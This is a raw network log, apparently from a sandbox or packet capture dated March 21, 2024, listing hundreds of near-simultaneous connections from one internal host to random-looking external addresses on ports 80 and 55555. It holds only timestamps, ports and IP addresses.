Mar 21, 2024 05:21:47.399164915 CET	50992	80	192.168.2.13	111.236.67.142
Mar 21, 2024 05:21:47.399168015 CET	50992	80	192.168.2.13	186.145.192.29
Mar 21, 2024 05:21:47.399168968 CET	50992	80	192.168.2.13	88.43.4.139
Mar 21, 2024 05:21:47.399172068 CET	51760	55555	192.168.2.13	172.214.95.232
Mar 21, 2024 05:21:47.399172068 CET	51760	55555	192.168.2.13	184.41.19.96
Mar 21, 2024 05:21:47.399173975 CET	50992	80	192.168.2.13	171.29.244.128
Mar 21, 2024 05:21:47.399172068 CET	50992	80	192.168.2.13	63.237.95.247
Mar 21, 2024 05:21:47.399172068 CET	50992	80	192.168.2.13	158.107.172.1
Mar 21, 2024 05:21:47.399182081 CET	51760	55555	192.168.2.13	172.250.240.96
Mar 21, 2024 05:21:47.399184942 CET	51760	55555	192.168.2.13	172.187.55.92
Mar 21, 2024 05:21:47.399193048 CET	50992	80	192.168.2.13	22.140.77.14
Mar 21, 2024 05:21:47.399193048 CET	51760	55555	192.168.2.13	98.157.13.142
Mar 21, 2024 05:21:47.399195910 CET	51760	55555	192.168.2.13	98.156.226.53
Mar 21, 2024 05:21:47.399195910 CET	51760	55555	192.168.2.13	184.81.80.168
Mar 21, 2024 05:21:47.399202108 CET	50992	80	192.168.2.13	132.83.154.247
Mar 21, 2024 05:21:47.399202108 CET	51760	55555	192.168.2.13	184.77.13.51
Mar 21, 2024 05:21:47.399202108 CET	51760	55555	192.168.2.13	98.2.143.239
Mar 21, 2024 05:21:47.399202108 CET	51760	55555	192.168.2.13	184.61.155.252
Mar 21, 2024 05:21:47.399202108 CET	50992	80	192.168.2.13	40.162.7.78
Mar 21, 2024 05:21:47.399219990 CET	51760	55555	192.168.2.13	98.152.43.250
Mar 21, 2024 05:21:47.399219990 CET	50992	80	192.168.2.13	217.85.89.165
Mar 21, 2024 05:21:47.399221897 CET	51760	55555	192.168.2.13	184.39.157.126
Mar 21, 2024 05:21:47.399225950 CET	50992	80	192.168.2.13	68.190.169.191
Mar 21, 2024 05:21:47.399225950 CET	51760	55555	192.168.2.13	172.239.60.98
Mar 21, 2024 05:21:47.399225950 CET	51760	55555	192.168.2.13	98.131.136.139
Mar 21, 2024 05:21:47.399225950 CET	51760	55555	192.168.2.13	184.60.255.95
Mar 21, 2024 05:21:47.399247885 CET	51760	55555	192.168.2.13	184.150.154.202
Mar 21, 2024 05:21:47.399249077 CET	51760	55555	192.168.2.13	172.37.178.43
Mar 21, 2024 05:21:47.399250031 CET	50992	80	192.168.2.13	185.12.113.155
Mar 21, 2024 05:21:47.399250031 CET	50992	80	192.168.2.13	131.162.106.123
Mar 21, 2024 05:21:47.399250031 CET	50992	80	192.168.2.13	72.153.56.199
Mar 21, 2024 05:21:47.399250031 CET	51760	55555	192.168.2.13	98.61.33.47
Mar 21, 2024 05:21:47.399250031 CET	51760	55555	192.168.2.13	172.6.103.92
Mar 21, 2024 05:21:47.399250031 CET	51760	55555	192.168.2.13	172.111.120.241
Mar 21, 2024 05:21:47.399259090 CET	51760	55555	192.168.2.13	98.78.169.64
Mar 21, 2024 05:21:47.399262905 CET	51760	55555	192.168.2.13	184.166.148.46
Mar 21, 2024 05:21:47.399270058 CET	51760	55555	192.168.2.13	98.8.86.109
Mar 21, 2024 05:21:47.399270058 CET	50992	80	192.168.2.13	203.42.164.215
Mar 21, 2024 05:21:47.399270058 CET	51760	55555	192.168.2.13	184.164.152.204
Mar 21, 2024 05:21:47.399270058 CET	51760	55555	192.168.2.13	184.150.8.148
Mar 21, 2024 05:21:47.399291039 CET	50992	80	192.168.2.13	148.155.101.250
Mar 21, 2024 05:21:47.399291039 CET	51760	55555	192.168.2.13	184.216.54.99
Mar 21, 2024 05:21:47.399302959 CET	50992	80	192.168.2.13	173.136.155.216
Mar 21, 2024 05:21:47.399306059 CET	50992	80	192.168.2.13	248.4.150.112
Mar 21, 2024 05:21:47.399306059 CET	51760	55555	192.168.2.13	172.59.128.107
Mar 21, 2024 05:21:47.399306059 CET	50992	80	192.168.2.13	74.197.206.10
Mar 21, 2024 05:21:47.399308920 CET	51760	55555	192.168.2.13	98.46.69.136
Mar 21, 2024 05:21:47.399308920 CET	51760	55555	192.168.2.13	172.114.64.79
Mar 21, 2024 05:21:47.399312973 CET	51760	55555	192.168.2.13	172.25.221.183
Mar 21, 2024 05:21:47.399312973 CET	51760	55555	192.168.2.13	184.160.196.188
Mar 21, 2024 05:21:47.399312973 CET	51760	55555	192.168.2.13	172.153.70.77
Mar 21, 2024 05:21:47.399312973 CET	51760	55555	192.168.2.13	98.156.116.165
Mar 21, 2024 05:21:47.399312973 CET	50992	80	192.168.2.13	240.175.16.160
Mar 21, 2024 05:21:47.399334908 CET	51760	55555	192.168.2.13	172.132.121.31
Mar 21, 2024 05:21:47.399336100 CET	50992	80	192.168.2.13	87.143.73.235
Mar 21, 2024 05:21:47.399338007 CET	50992	80	192.168.2.13	11.151.16.62
Mar 21, 2024 05:21:47.399342060 CET	51760	55555	192.168.2.13	184.255.195.181
Mar 21, 2024 05:21:47.399347067 CET	51760	55555	192.168.2.13	172.206.81.110
Mar 21, 2024 05:21:47.399348021 CET	51760	55555	192.168.2.13	172.39.246.223
Mar 21, 2024 05:21:47.399348021 CET	51760	55555	192.168.2.13	98.251.98.188
Mar 21, 2024 05:21:47.399348974 CET	50992	80	192.168.2.13	129.243.14.246
Mar 21, 2024 05:21:47.399353981 CET	51760	55555	192.168.2.13	172.219.203.184
Mar 21, 2024 05:21:47.399353981 CET	51760	55555	192.168.2.13	184.126.126.126
Mar 21, 2024 05:21:47.399354935 CET	51760	55555	192.168.2.13	184.246.192.86
Mar 21, 2024 05:21:47.399358034 CET	50992	80	192.168.2.13	112.94.46.129
Mar 21, 2024 05:21:47.399358034 CET	50992	80	192.168.2.13	25.196.152.241
Mar 21, 2024 05:21:47.399359941 CET	51760	55555	192.168.2.13	172.167.201.204
Mar 21, 2024 05:21:47.399363995 CET	51760	55555	192.168.2.13	184.215.35.227
Mar 21, 2024 05:21:47.399364948 CET	51760	55555	192.168.2.13	98.23.223.109
Mar 21, 2024 05:21:47.399364948 CET	51760	55555	192.168.2.13	98.44.216.163
Mar 21, 2024 05:21:47.399364948 CET	51760	55555	192.168.2.13	172.108.5.32
Mar 21, 2024 05:21:47.399364948 CET	51760	55555	192.168.2.13	172.136.160.129
Mar 21, 2024 05:21:47.399364948 CET	50992	80	192.168.2.13	191.3.99.91
Mar 21, 2024 05:21:47.399375916 CET	51760	55555	192.168.2.13	172.14.236.243
Mar 21, 2024 05:21:47.399375916 CET	51760	55555	192.168.2.13	184.6.113.76
Mar 21, 2024 05:21:47.399375916 CET	51760	55555	192.168.2.13	98.191.134.218
Mar 21, 2024 05:21:47.399375916 CET	51760	55555	192.168.2.13	172.98.82.249
Mar 21, 2024 05:21:47.399375916 CET	51760	55555	192.168.2.13	98.152.158.81
Mar 21, 2024 05:21:47.399378061 CET	50992	80	192.168.2.13	3.231.209.216
Mar 21, 2024 05:21:47.399386883 CET	51760	55555	192.168.2.13	98.206.246.90
Mar 21, 2024 05:21:47.399389982 CET	50992	80	192.168.2.13	59.121.120.65
Mar 21, 2024 05:21:47.399394035 CET	51760	55555	192.168.2.13	98.88.8.234
Mar 21, 2024 05:21:47.399398088 CET	50992	80	192.168.2.13	205.237.201.172
Mar 21, 2024 05:21:47.399400949 CET	50992	80	192.168.2.13	108.194.113.11
Mar 21, 2024 05:21:47.399400949 CET	51760	55555	192.168.2.13	172.26.184.100
Mar 21, 2024 05:21:47.399404049 CET	51760	55555	192.168.2.13	184.205.182.78
Mar 21, 2024 05:21:47.399410009 CET	51760	55555	192.168.2.13	184.97.195.1
Mar 21, 2024 05:21:47.399411917 CET	51760	55555	192.168.2.13	98.1.8.100
Mar 21, 2024 05:21:47.399422884 CET	51760	55555	192.168.2.13	98.172.47.221
Mar 21, 2024 05:21:47.399425983 CET	51760	55555	192.168.2.13	184.137.253.4
Mar 21, 2024 05:21:47.399429083 CET	51760	55555	192.168.2.13	184.99.118.226
Mar 21, 2024 05:21:47.399441004 CET	50992	80	192.168.2.13	38.83.57.3
Mar 21, 2024 05:21:47.399441004 CET	51760	55555	192.168.2.13	184.88.188.170
Mar 21, 2024 05:21:47.399441957 CET	51760	55555	192.168.2.13	184.73.234.143
Mar 21, 2024 05:21:47.399441957 CET	50992	80	192.168.2.13	102.232.186.25
Mar 21, 2024 05:21:47.399441957 CET	51760	55555	192.168.2.13	172.174.124.240
Mar 21, 2024 05:21:47.399441957 CET	51760	55555	192.168.2.13	184.92.162.130
Mar 21, 2024 05:21:47.399450064 CET	51760	55555	192.168.2.13	172.72.60.132
Mar 21, 2024 05:21:47.399451017 CET	50992	80	192.168.2.13	218.37.151.231
Mar 21, 2024 05:21:47.399451971 CET	50992	80	192.168.2.13	68.209.8.96
Mar 21, 2024 05:21:47.399457932 CET	51760	55555	192.168.2.13	172.178.218.98
Mar 21, 2024 05:21:47.399462938 CET	50992	80	192.168.2.13	119.71.116.144
Mar 21, 2024 05:21:47.399466038 CET	51760	55555	192.168.2.13	98.0.63.9
Mar 21, 2024 05:21:47.399471998 CET	51760	55555	192.168.2.13	98.202.200.64
Mar 21, 2024 05:21:47.399473906 CET	50992	80	192.168.2.13	90.9.7.205
Mar 21, 2024 05:21:47.399473906 CET	50992	80	192.168.2.13	93.249.102.162
Mar 21, 2024 05:21:47.399477959 CET	51760	55555	192.168.2.13	98.76.237.216
Mar 21, 2024 05:21:47.399480104 CET	50992	80	192.168.2.13	214.157.141.200
Mar 21, 2024 05:21:47.399490118 CET	51760	55555	192.168.2.13	98.180.103.197
Mar 21, 2024 05:21:47.399490118 CET	51760	55555	192.168.2.13	172.98.143.231
Mar 21, 2024 05:21:47.399492979 CET	51760	55555	192.168.2.13	98.187.58.85
Mar 21, 2024 05:21:47.399499893 CET	51760	55555	192.168.2.13	184.209.216.28
Mar 21, 2024 05:21:47.399499893 CET	51760	55555	192.168.2.13	184.5.162.28
Mar 21, 2024 05:21:47.399504900 CET	51760	55555	192.168.2.13	184.239.151.69
Mar 21, 2024 05:21:47.399504900 CET	51760	55555	192.168.2.13	172.223.33.9
Mar 21, 2024 05:21:47.399509907 CET	51760	55555	192.168.2.13	184.52.78.43
Mar 21, 2024 05:21:47.399519920 CET	51760	55555	192.168.2.13	184.202.250.163
Mar 21, 2024 05:21:47.399528980 CET	50992	80	192.168.2.13	92.219.170.118
Mar 21, 2024 05:21:47.399538040 CET	51760	55555	192.168.2.13	98.60.180.48
Mar 21, 2024 05:21:47.399538994 CET	51760	55555	192.168.2.13	172.131.143.238
Mar 21, 2024 05:21:47.399539948 CET	50992	80	192.168.2.13	149.84.137.232
Mar 21, 2024 05:21:47.399542093 CET	51760	55555	192.168.2.13	184.211.188.55
Mar 21, 2024 05:21:47.399544954 CET	51760	55555	192.168.2.13	98.229.240.189
Mar 21, 2024 05:21:47.399552107 CET	51760	55555	192.168.2.13	98.13.168.36
Mar 21, 2024 05:21:47.399555922 CET	50992	80	192.168.2.13	199.69.39.217
Mar 21, 2024 05:21:47.399555922 CET	50992	80	192.168.2.13	155.199.71.178
Mar 21, 2024 05:21:47.399564028 CET	50992	80	192.168.2.13	249.33.23.16
Mar 21, 2024 05:21:47.399565935 CET	50992	80	192.168.2.13	15.119.131.222
Mar 21, 2024 05:21:47.399566889 CET	50992	80	192.168.2.13	13.104.45.110
Mar 21, 2024 05:21:47.399568081 CET	51760	55555	192.168.2.13	184.118.220.130
Mar 21, 2024 05:21:47.399568081 CET	51760	55555	192.168.2.13	184.195.220.221
Mar 21, 2024 05:21:47.399568081 CET	50992	80	192.168.2.13	107.124.91.248
Mar 21, 2024 05:21:47.399571896 CET	51760	55555	192.168.2.13	184.181.140.114
Mar 21, 2024 05:21:47.399571896 CET	51760	55555	192.168.2.13	172.104.106.42
Mar 21, 2024 05:21:47.399571896 CET	51760	55555	192.168.2.13	184.29.249.169
Mar 21, 2024 05:21:47.399573088 CET	51760	55555	192.168.2.13	184.82.130.225
Mar 21, 2024 05:21:47.399573088 CET	51760	55555	192.168.2.13	184.249.53.184
Mar 21, 2024 05:21:47.399573088 CET	51760	55555	192.168.2.13	172.69.221.195
Mar 21, 2024 05:21:47.399579048 CET	51760	55555	192.168.2.13	184.204.161.173
Mar 21, 2024 05:21:47.399580002 CET	51760	55555	192.168.2.13	172.56.234.41
Mar 21, 2024 05:21:47.399579048 CET	51760	55555	192.168.2.13	172.250.59.182
Mar 21, 2024 05:21:47.399580002 CET	51760	55555	192.168.2.13	98.121.36.32
Mar 21, 2024 05:21:47.399590015 CET	50992	80	192.168.2.13	243.6.86.137
Mar 21, 2024 05:21:47.399600983 CET	51760	55555	192.168.2.13	98.139.204.193
Mar 21, 2024 05:21:47.399600983 CET	51760	55555	192.168.2.13	184.83.221.142
Mar 21, 2024 05:21:47.399601936 CET	50992	80	192.168.2.13	44.101.54.189
Mar 21, 2024 05:21:47.399601936 CET	51760	55555	192.168.2.13	184.117.69.140
Mar 21, 2024 05:21:47.399602890 CET	51760	55555	192.168.2.13	184.238.22.232
Mar 21, 2024 05:21:47.399605989 CET	50992	80	192.168.2.13	214.221.237.207
Mar 21, 2024 05:21:47.399607897 CET	51760	55555	192.168.2.13	98.250.72.113
Mar 21, 2024 05:21:47.399619102 CET	51760	55555	192.168.2.13	172.242.197.16
Mar 21, 2024 05:21:47.399621010 CET	50992	80	192.168.2.13	76.110.99.240
Mar 21, 2024 05:21:47.399622917 CET	50992	80	192.168.2.13	147.99.69.14
Mar 21, 2024 05:21:47.399625063 CET	50992	80	192.168.2.13	205.151.26.66
Mar 21, 2024 05:21:47.399625063 CET	50992	80	192.168.2.13	84.178.138.140
Mar 21, 2024 05:21:47.399640083 CET	50992	80	192.168.2.13	96.217.210.183
Mar 21, 2024 05:21:47.399641037 CET	50992	80	192.168.2.13	9.27.212.119
Mar 21, 2024 05:21:47.399650097 CET	50992	80	192.168.2.13	48.116.77.74
Mar 21, 2024 05:21:47.399671078 CET	50992	80	192.168.2.13	161.122.45.173
Mar 21, 2024 05:21:47.399672985 CET	50992	80	192.168.2.13	218.40.192.40
Mar 21, 2024 05:21:47.399672985 CET	50992	80	192.168.2.13	160.219.3.97
Mar 21, 2024 05:21:47.399673939 CET	50992	80	192.168.2.13	202.207.156.160
Mar 21, 2024 05:21:47.399674892 CET	51760	55555	192.168.2.13	184.34.40.13
Mar 21, 2024 05:21:47.399674892 CET	50992	80	192.168.2.13	189.178.187.54
Mar 21, 2024 05:21:47.399674892 CET	50992	80	192.168.2.13	56.169.183.83
Mar 21, 2024 05:21:47.399682045 CET	51760	55555	192.168.2.13	172.169.227.103
Mar 21, 2024 05:21:47.399693966 CET	50992	80	192.168.2.13	77.118.161.155
Mar 21, 2024 05:21:47.399697065 CET	51760	55555	192.168.2.13	98.95.156.215
Mar 21, 2024 05:21:47.399698019 CET	50992	80	192.168.2.13	70.108.105.185
Mar 21, 2024 05:21:47.399698019 CET	50992	80	192.168.2.13	198.30.51.121
Mar 21, 2024 05:21:47.399698019 CET	50992	80	192.168.2.13	51.228.121.19
Mar 21, 2024 05:21:47.399698019 CET	50992	80	192.168.2.13	35.173.206.143
Mar 21, 2024 05:21:47.399698019 CET	50992	80	192.168.2.13	123.139.35.180
Mar 21, 2024 05:21:47.399702072 CET	50992	80	192.168.2.13	145.215.240.114
Mar 21, 2024 05:21:47.399702072 CET	50992	80	192.168.2.13	41.248.205.100
Mar 21, 2024 05:21:47.399702072 CET	51760	55555	192.168.2.13	98.239.251.182
Mar 21, 2024 05:21:47.399708033 CET	50992	80	192.168.2.13	119.204.218.140
Mar 21, 2024 05:21:47.399724960 CET	50992	80	192.168.2.13	181.143.79.158
Mar 21, 2024 05:21:47.399725914 CET	50992	80	192.168.2.13	204.131.179.131
Mar 21, 2024 05:21:47.399725914 CET	51760	55555	192.168.2.13	98.21.41.116
Mar 21, 2024 05:21:47.399725914 CET	50992	80	192.168.2.13	223.235.140.199
Mar 21, 2024 05:21:47.399729967 CET	51760	55555	192.168.2.13	184.188.28.57
Mar 21, 2024 05:21:47.399729967 CET	50992	80	192.168.2.13	170.208.37.170
Mar 21, 2024 05:21:47.399736881 CET	51760	55555	192.168.2.13	98.110.223.237
Mar 21, 2024 05:21:47.399744987 CET	51760	55555	192.168.2.13	98.10.251.6
Mar 21, 2024 05:21:47.399744987 CET	51760	55555	192.168.2.13	98.195.80.203
Mar 21, 2024 05:21:47.399746895 CET	51760	55555	192.168.2.13	98.69.236.211
Mar 21, 2024 05:21:47.399749041 CET	51760	55555	192.168.2.13	184.221.54.128
Mar 21, 2024 05:21:47.399751902 CET	51760	55555	192.168.2.13	98.43.60.186
Mar 21, 2024 05:21:47.399758101 CET	51760	55555	192.168.2.13	184.155.227.19
Mar 21, 2024 05:21:47.399758101 CET	51760	55555	192.168.2.13	172.158.231.32
Mar 21, 2024 05:21:47.399759054 CET	51760	55555	192.168.2.13	98.89.125.143
Mar 21, 2024 05:21:47.399763107 CET	51760	55555	192.168.2.13	172.131.67.181
Mar 21, 2024 05:21:47.399768114 CET	51760	55555	192.168.2.13	184.242.146.127
Mar 21, 2024 05:21:47.399781942 CET	50992	80	192.168.2.13	25.168.196.141
Mar 21, 2024 05:21:47.399781942 CET	51760	55555	192.168.2.13	98.239.207.37
Mar 21, 2024 05:21:47.399784088 CET	50992	80	192.168.2.13	8.166.48.0
Mar 21, 2024 05:21:47.399784088 CET	50992	80	192.168.2.13	153.28.198.249
Mar 21, 2024 05:21:47.399785042 CET	50992	80	192.168.2.13	69.151.46.187
Mar 21, 2024 05:21:47.399785995 CET	50992	80	192.168.2.13	49.16.243.165
Mar 21, 2024 05:21:47.399785995 CET	50992	80	192.168.2.13	113.53.113.156
Mar 21, 2024 05:21:47.399786949 CET	51760	55555	192.168.2.13	98.39.15.57
Mar 21, 2024 05:21:47.399786949 CET	51760	55555	192.168.2.13	98.158.66.138
Mar 21, 2024 05:21:47.399786949 CET	50992	80	192.168.2.13	52.165.224.83
Mar 21, 2024 05:21:47.399790049 CET	51760	55555	192.168.2.13	184.201.169.190
Mar 21, 2024 05:21:47.399790049 CET	50992	80	192.168.2.13	78.245.255.138
Mar 21, 2024 05:21:47.399791002 CET	51760	55555	192.168.2.13	184.209.45.111
Mar 21, 2024 05:21:47.399808884 CET	50992	80	192.168.2.13	214.229.101.28
Mar 21, 2024 05:21:47.399808884 CET	51760	55555	192.168.2.13	172.41.243.210
Mar 21, 2024 05:21:47.399808884 CET	51760	55555	192.168.2.13	172.11.142.208
Mar 21, 2024 05:21:47.399813890 CET	51760	55555	192.168.2.13	172.35.213.156
Mar 21, 2024 05:21:47.399817944 CET	50992	80	192.168.2.13	11.190.121.218
Mar 21, 2024 05:21:47.399817944 CET	51760	55555	192.168.2.13	98.106.62.172
Mar 21, 2024 05:21:47.399818897 CET	51760	55555	192.168.2.13	98.92.147.120
Mar 21, 2024 05:21:47.399831057 CET	51760	55555	192.168.2.13	98.178.96.122
Mar 21, 2024 05:21:47.399831057 CET	50992	80	192.168.2.13	164.150.109.169
Mar 21, 2024 05:21:47.399831057 CET	50992	80	192.168.2.13	27.120.105.73
Mar 21, 2024 05:21:47.399831057 CET	51760	55555	192.168.2.13	172.9.105.148
Mar 21, 2024 05:21:47.399842024 CET	50992	80	192.168.2.13	157.244.251.90
Mar 21, 2024 05:21:47.399846077 CET	51760	55555	192.168.2.13	98.41.171.101
Mar 21, 2024 05:21:47.399846077 CET	51760	55555	192.168.2.13	172.252.187.176
Mar 21, 2024 05:21:47.399846077 CET	51760	55555	192.168.2.13	184.112.95.168
Mar 21, 2024 05:21:47.399846077 CET	51760	55555	192.168.2.13	172.110.89.2
Mar 21, 2024 05:21:47.399848938 CET	51760	55555	192.168.2.13	172.40.245.126
Mar 21, 2024 05:21:47.399849892 CET	51760	55555	192.168.2.13	172.149.165.101
Mar 21, 2024 05:21:47.399849892 CET	51760	55555	192.168.2.13	172.230.0.255
Mar 21, 2024 05:21:47.399866104 CET	51760	55555	192.168.2.13	98.142.186.100
Mar 21, 2024 05:21:47.399867058 CET	51760	55555	192.168.2.13	98.21.200.137
Mar 21, 2024 05:21:47.399872065 CET	50992	80	192.168.2.13	6.182.33.173
Mar 21, 2024 05:21:47.399884939 CET	50992	80	192.168.2.13	137.205.238.131
Mar 21, 2024 05:21:47.399884939 CET	50992	80	192.168.2.13	80.139.87.212
Mar 21, 2024 05:21:47.399893999 CET	50992	80	192.168.2.13	171.120.106.142
Mar 21, 2024 05:21:47.399893999 CET	50992	80	192.168.2.13	67.1.164.242
Mar 21, 2024 05:21:47.399899006 CET	50992	80	192.168.2.13	160.29.99.22
Mar 21, 2024 05:21:47.399900913 CET	51760	55555	192.168.2.13	184.228.97.126
Mar 21, 2024 05:21:47.399904966 CET	50992	80	192.168.2.13	214.166.194.235
Mar 21, 2024 05:21:47.399908066 CET	51760	55555	192.168.2.13	172.114.168.9
Mar 21, 2024 05:21:47.399908066 CET	50992	80	192.168.2.13	200.240.187.166
Mar 21, 2024 05:21:47.399908066 CET	50992	80	192.168.2.13	169.104.106.226
Mar 21, 2024 05:21:47.399908066 CET	50992	80	192.168.2.13	107.159.202.191
Mar 21, 2024 05:21:47.399918079 CET	50992	80	192.168.2.13	122.39.27.171
Mar 21, 2024 05:21:47.399918079 CET	50992	80	192.168.2.13	198.96.234.143
Mar 21, 2024 05:21:47.399918079 CET	50992	80	192.168.2.13	37.225.236.178
Mar 21, 2024 05:21:47.399919987 CET	50992	80	192.168.2.13	110.230.160.179
Mar 21, 2024 05:21:47.399918079 CET	51760	55555	192.168.2.13	172.27.19.184
Mar 21, 2024 05:21:47.399918079 CET	51760	55555	192.168.2.13	98.200.127.118
Mar 21, 2024 05:21:47.399918079 CET	51760	55555	192.168.2.13	172.159.142.77
Mar 21, 2024 05:21:47.399919987 CET	51760	55555	192.168.2.13	172.132.44.172
Mar 21, 2024 05:21:47.399923086 CET	51760	55555	192.168.2.13	172.201.156.155
Mar 21, 2024 05:21:47.399919987 CET	51760	55555	192.168.2.13	172.51.10.114
Mar 21, 2024 05:21:47.399919987 CET	51760	55555	192.168.2.13	184.85.69.78
Mar 21, 2024 05:21:47.399936914 CET	50992	80	192.168.2.13	71.57.201.62
Mar 21, 2024 05:21:47.399939060 CET	51760	55555	192.168.2.13	184.123.85.185
Mar 21, 2024 05:21:47.399939060 CET	50992	80	192.168.2.13	146.44.30.163
Mar 21, 2024 05:21:47.399940968 CET	50992	80	192.168.2.13	66.155.64.133
Mar 21, 2024 05:21:47.399940968 CET	51760	55555	192.168.2.13	172.210.36.207
Mar 21, 2024 05:21:47.399940968 CET	50992	80	192.168.2.13	87.18.120.106
Mar 21, 2024 05:21:47.399943113 CET	51760	55555	192.168.2.13	184.146.187.2
Mar 21, 2024 05:21:47.399940968 CET	51760	55555	192.168.2.13	98.11.245.86
Mar 21, 2024 05:21:47.399955034 CET	51760	55555	192.168.2.13	184.21.180.139
Mar 21, 2024 05:21:47.399955034 CET	51760	55555	192.168.2.13	98.247.226.251
Mar 21, 2024 05:21:47.399955034 CET	51760	55555	192.168.2.13	98.177.127.17
Mar 21, 2024 05:21:47.399969101 CET	51760	55555	192.168.2.13	172.245.80.52
Mar 21, 2024 05:21:47.399969101 CET	50992	80	192.168.2.13	129.172.153.116
Mar 21, 2024 05:21:47.399969101 CET	51760	55555	192.168.2.13	184.176.221.87
Mar 21, 2024 05:21:47.399969101 CET	51760	55555	192.168.2.13	184.90.164.226
Mar 21, 2024 05:21:47.399969101 CET	51760	55555	192.168.2.13	172.151.68.6
Mar 21, 2024 05:21:47.399969101 CET	51760	55555	192.168.2.13	98.106.176.144
Mar 21, 2024 05:21:47.399969101 CET	51760	55555	192.168.2.13	172.23.117.238
Mar 21, 2024 05:21:47.399975061 CET	50992	80	192.168.2.13	95.186.229.195
Mar 21, 2024 05:21:47.399976969 CET	51760	55555	192.168.2.13	184.51.195.247
Mar 21, 2024 05:21:47.399976969 CET	51760	55555	192.168.2.13	184.76.136.212
Mar 21, 2024 05:21:47.399976969 CET	51760	55555	192.168.2.13	184.247.192.109
Mar 21, 2024 05:21:47.399980068 CET	51760	55555	192.168.2.13	172.133.86.210
Mar 21, 2024 05:21:47.399976969 CET	50992	80	192.168.2.13	131.108.47.48
Mar 21, 2024 05:21:47.399980068 CET	50992	80	192.168.2.13	255.12.127.220
Mar 21, 2024 05:21:47.399980068 CET	51760	55555	192.168.2.13	184.148.146.226
Mar 21, 2024 05:21:47.399985075 CET	51760	55555	192.168.2.13	98.249.138.139
Mar 21, 2024 05:21:47.399986029 CET	51760	55555	192.168.2.13	172.100.215.23
Mar 21, 2024 05:21:47.399986982 CET	51760	55555	192.168.2.13	172.223.176.123
Mar 21, 2024 05:21:47.399986029 CET	51760	55555	192.168.2.13	98.175.59.67
Mar 21, 2024 05:21:47.399985075 CET	50992	80	192.168.2.13	88.129.134.65
Mar 21, 2024 05:21:47.399986982 CET	51760	55555	192.168.2.13	184.37.131.108
Mar 21, 2024 05:21:47.399986982 CET	51760	55555	192.168.2.13	184.156.18.123
Mar 21, 2024 05:21:47.399986029 CET	50992	80	192.168.2.13	9.189.31.232
Mar 21, 2024 05:21:47.399993896 CET	51760	55555	192.168.2.13	172.45.14.77
Mar 21, 2024 05:21:47.399986029 CET	51760	55555	192.168.2.13	172.110.14.166
Mar 21, 2024 05:21:47.399986982 CET	51760	55555	192.168.2.13	184.104.18.244
Mar 21, 2024 05:21:47.399993896 CET	51760	55555	192.168.2.13	184.76.36.130
Mar 21, 2024 05:21:47.399985075 CET	51760	55555	192.168.2.13	98.74.60.125
Mar 21, 2024 05:21:47.399996042 CET	51760	55555	192.168.2.13	184.98.178.108
Mar 21, 2024 05:21:47.399993896 CET	50992	80	192.168.2.13	154.241.8.240
Mar 21, 2024 05:21:47.399986982 CET	51760	55555	192.168.2.13	98.179.201.110
Mar 21, 2024 05:21:47.399993896 CET	50992	80	192.168.2.13	246.98.160.19
Mar 21, 2024 05:21:47.399985075 CET	51760	55555	192.168.2.13	98.163.246.172
Mar 21, 2024 05:21:47.399996042 CET	50992	80	192.168.2.13	44.225.215.43
Mar 21, 2024 05:21:47.399986029 CET	51760	55555	192.168.2.13	184.115.254.59
Mar 21, 2024 05:21:47.399996042 CET	50992	80	192.168.2.13	60.61.22.0
Mar 21, 2024 05:21:47.399986029 CET	51760	55555	192.168.2.13	172.89.165.107
Mar 21, 2024 05:21:47.399986029 CET	51760	55555	192.168.2.13	98.191.68.69
Mar 21, 2024 05:21:47.400005102 CET	50992	80	192.168.2.13	15.232.46.74
Mar 21, 2024 05:21:47.400005102 CET	50992	80	192.168.2.13	75.177.135.146
Mar 21, 2024 05:21:47.400005102 CET	50992	80	192.168.2.13	183.47.218.205
Mar 21, 2024 05:21:47.400019884 CET	51760	55555	192.168.2.13	98.239.160.130
Mar 21, 2024 05:21:47.400019884 CET	50992	80	192.168.2.13	135.158.79.48
Mar 21, 2024 05:21:47.400021076 CET	50992	80	192.168.2.13	161.62.39.110
Mar 21, 2024 05:21:47.400019884 CET	51760	55555	192.168.2.13	98.163.125.243
Mar 21, 2024 05:21:47.400019884 CET	51760	55555	192.168.2.13	184.49.151.161
Mar 21, 2024 05:21:47.400019884 CET	51760	55555	192.168.2.13	184.149.242.64
Mar 21, 2024 05:21:47.400036097 CET	51760	55555	192.168.2.13	184.203.152.87
Mar 21, 2024 05:21:47.400036097 CET	50992	80	192.168.2.13	29.45.148.111
Mar 21, 2024 05:21:47.400036097 CET	51760	55555	192.168.2.13	184.33.104.229
Mar 21, 2024 05:21:47.400036097 CET	51760	55555	192.168.2.13	172.225.24.81
Mar 21, 2024 05:21:47.400036097 CET	50992	80	192.168.2.13	43.4.154.176
Mar 21, 2024 05:21:47.400048971 CET	51760	55555	192.168.2.13	184.21.225.228
Mar 21, 2024 05:21:47.400048971 CET	50992	80	192.168.2.13	205.135.168.30
Mar 21, 2024 05:21:47.400048971 CET	50992	80	192.168.2.13	199.252.24.101
Mar 21, 2024 05:21:47.400048971 CET	50992	80	192.168.2.13	1.212.242.10
Mar 21, 2024 05:21:47.400055885 CET	50992	80	192.168.2.13	197.205.203.231
Mar 21, 2024 05:21:47.400055885 CET	51760	55555	192.168.2.13	184.234.233.164
Mar 21, 2024 05:21:47.400055885 CET	51760	55555	192.168.2.13	172.174.170.104
Mar 21, 2024 05:21:47.400058031 CET	50992	80	192.168.2.13	218.174.47.73
Mar 21, 2024 05:21:47.400070906 CET	50992	80	192.168.2.13	67.109.136.29
Mar 21, 2024 05:21:47.400070906 CET	51760	55555	192.168.2.13	172.244.155.134
Mar 21, 2024 05:21:47.400075912 CET	50992	80	192.168.2.13	243.182.147.217
Mar 21, 2024 05:21:47.400075912 CET	51760	55555	192.168.2.13	172.96.54.38
Mar 21, 2024 05:21:47.400075912 CET	51760	55555	192.168.2.13	184.96.61.23
Mar 21, 2024 05:21:47.400075912 CET	51760	55555	192.168.2.13	184.133.189.225
Mar 21, 2024 05:21:47.400075912 CET	51760	55555	192.168.2.13	98.122.140.21
Mar 21, 2024 05:21:47.400075912 CET	50992	80	192.168.2.13	120.178.115.53
Mar 21, 2024 05:21:47.400075912 CET	50992	80	192.168.2.13	145.138.46.31
Mar 21, 2024 05:21:47.400075912 CET	50992	80	192.168.2.13	13.148.81.33
Mar 21, 2024 05:21:47.400075912 CET	50992	80	192.168.2.13	206.123.145.188
Mar 21, 2024 05:21:47.400084019 CET	50992	80	192.168.2.13	72.31.84.86
Mar 21, 2024 05:21:47.400087118 CET	50992	80	192.168.2.13	137.189.109.43
Mar 21, 2024 05:21:47.400087118 CET	51760	55555	192.168.2.13	172.28.58.1
